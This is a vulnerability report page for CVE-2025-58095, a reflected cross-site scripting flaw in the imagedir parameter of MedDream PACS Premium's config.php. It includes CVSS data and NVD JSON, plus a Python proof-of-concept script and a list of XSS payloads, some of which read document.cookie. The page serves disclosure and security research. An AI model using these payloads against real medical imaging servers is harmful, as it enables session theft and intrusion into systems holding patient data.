Security Vulnerability Report
中文
CVE-2025-58095 CVSS 6.1 MEDIUM

CVE-2025-58095

Published: 2026-01-20 15:17:05
Last Modified: 2026-01-29 15:11:40

Description

Multiple reflected cross-site scripting (xss) vulnerabilities exist in the config.php functionality of MedDream PACS Premium 7.3.6.870. Specially crafted malicious URLs can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger these vulnerabilities.This vulnerability affects the imagedir parameter.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:* - VULNERABLE
MedDream PACS Premium 7.3.6.870

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-58095 PoC - Reflected XSS in MedDream PACS Premium # Target: MedDream PACS Premium 7.3.6.870 # Vulnerability: Reflected XSS in config.php imagedir parameter def exploit_xss(target_url, payload): """ Exploit reflected XSS vulnerability in config.php Args: target_url: Base URL of MedDream PACS Premium payload: XSS payload to inject Returns: Response from the server """ # Construct malicious URL with XSS payload in imagedir parameter malicious_url = f"{target_url}/config.php?imagedir={payload}" print(f"[*] Sending malicious request to: {malicious_url}") try: response = requests.get(malicious_url, timeout=10) if payload in response.text: print("[+] XSS payload reflected in response - Vulnerability confirmed!") return True else: print("[-] XSS payload not reflected - Vulnerability may be patched or not present") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False # Example payloads for testing test_payloads = [ "<script>alert(document.domain)</script>", "<img src=x onerror=alert(document.cookie)>", "<svg/onload=alert(document.cookie)>", "\"><script>alert('XSS')</script>" ] if __name__ == "__main__": target = "http://target-host/meddream" for payload in test_payloads: exploit_xss(target, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58095", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:17:05.340", "lastModified": "2026-01-29T15:11:40.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple reflected cross-site scripting (xss) vulnerabilities exist in the config.php functionality of MedDream PACS Premium 7.3.6.870. Specially crafted malicious URLs can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger these vulnerabilities.This vulnerability affects the imagedir parameter."}, {"lang": "es", "value": "Múltiples vulnerabilidades de cross-site scripting (XSS) reflejado existen en la funcionalidad config.php de MedDream PACS Premium 7.3.6.870. URLs maliciosas especialmente diseñadas pueden llevar a la ejecución arbitraria de código javascript. Un atacante puede proporcionar una URL diseñada para activar estas vulnerabilidades. Esta vulnerabilidad afecta al parámetro imagedir."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:*", "matchCriteriaId": "0F239E49-18E8-4DE0-B9B8-C220C3BC0C62"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2271", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}